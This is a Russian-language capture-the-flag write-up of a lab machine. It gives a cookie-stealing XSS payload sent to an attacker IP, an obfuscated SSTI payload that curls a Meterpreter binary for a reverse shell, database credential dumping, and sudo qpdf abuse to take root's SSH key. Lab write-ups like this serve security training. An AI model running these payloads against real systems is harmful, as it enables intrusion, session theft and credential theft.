Telegram / Boosty / Видео

Подпишись на канал t.me/kiberdruzhinnik, чтобы не пропускать контент.

Смотри на t.me/kiberdruzhinnik/306.

Также на https://boosty.to/kiberdruzhinnik/posts/b69b3bd9-f10a-4d37-a716-183bf7addcab я опубликовал подробный видео разбор этой задачи. Это может быть полезно для обучения, если вы делаете первые шаги в информационной безопасности. Поддержать меня на Boosty.

Обзор сервисов

Просканируем машину с помощью rustscan:

Open 10.10.11.12:22
Open 10.10.11.12:80

Веб

Посмотрим, что у нас на вебе.

alt text

Поищем эндпоинты:

/about                (Status: 200) [Size: 5267]
/login                (Status: 200) [Size: 2106]
/services             (Status: 200) [Size: 8592]
/team                 (Status: 200) [Size: 8109]
/quote                (Status: 200) [Size: 2237]
/logout               (Status: 302) [Size: 189] [--> /]
/dashboard            (Status: 302) [Size: 189] [--> /]

Мы можем заказать стоимость обслуживания - сообщение должно улететь в команду, которая обработает заказ.

alt text

Попробуем пробросить XSS в поле сервиса:

service=<img src=x onerror=this.src="http://10.10.14.17:4243/"+document.cookie>&[email protected]

И ловим cookie администратора.

alt text

Добавляем себе этот cookie как session и переходим в /dashboard:

alt text

В админке мы можем пройти по пути генерации заказа (Invoce), далее генерации QR и в итоге получаем распечатку заказа в PDF с нашими данными.

alt text

Попробуем отправить последний запрос в Burp Repeater и вместо ссылки на QR отправим test:

alt text

test отобразился в в тег <img> в результате (после base64). Есть вероятность, что это SSTI.

Пробуем получить шелл. Готовим Meterpreter:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=tun0 LPORT=4244 -f elf -o s
msfconsole -x "use exploits/multi/handler; set lhost tun0; set lport 4244; set payload linux/x64/meterpreter/reverse_tcp; exploit"

Качаем пейлоад:

{{""["\x5f\x5fclass\x5f\x5f"]["\x5f\x5fmro\x5f\x5f"][1]["\x5f\x5fsubclasses\x5f\x5f"]()[365]('curl http://10.10.14.17:4243/s -o /tmp/s',shell=True,stdout=-1).communicate()}}

alt text

Аналогично даем права на исполнение и запускаем.

Поймали шелл:

alt text

Пользователь

Смотрим в приложение app.py и обнаруживаем креды для базы данных:

$ cat app.py
...
secret_key = ''.join(random.choice(string.ascii_lowercase) for i in range(64))
app.secret_key = secret_key
# Database Configuration
db_config = {
    'host': '127.0.0.1',
    'user': 'iclean',
    'password': '...',
    'database': 'capiclean'
}
...

Смотрим таблицы в базе:

$ mysql -u iclean -p'...' capiclean -e 'show tables';
mysql: [Warning] Using a password on the command line interface can be insecure.
Tables_in_capiclean
quote_requests
services
users

Достаем значения из таблицы users:

$ mysql -u iclean -p'...' capiclean -e 'select * from users;'
id username password role_id
1 admin ...
2 consuela ...

Хеш пользователя consuela легко находится на crackstation.net и подходит к SSH.

Пробуем логиниться как consula через SSH:

alt text

Флаг пользователя

alt text

Повышение привилегий

Проверим, что можно делать с помощью прав суперпользователя:

$ sudo -l
Matching Defaults entries for consuela on iclean:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User consuela may run the following commands on iclean:
    (ALL) /usr/bin/qpdf

Мы можем исполнять qpdf.

Крадем SSH-ключ пользователя root:

sudo qpdf --empty --add-attachment /root/.ssh/id_rsa -- /tmp/k.pdf

Запишем ключ в id_rsa, проставим ему права и подключимся к SSH:

chmod 600 id_rsa
ssh -i id_rsa [email protected]

alt text

Флаг суперпользователя

alt text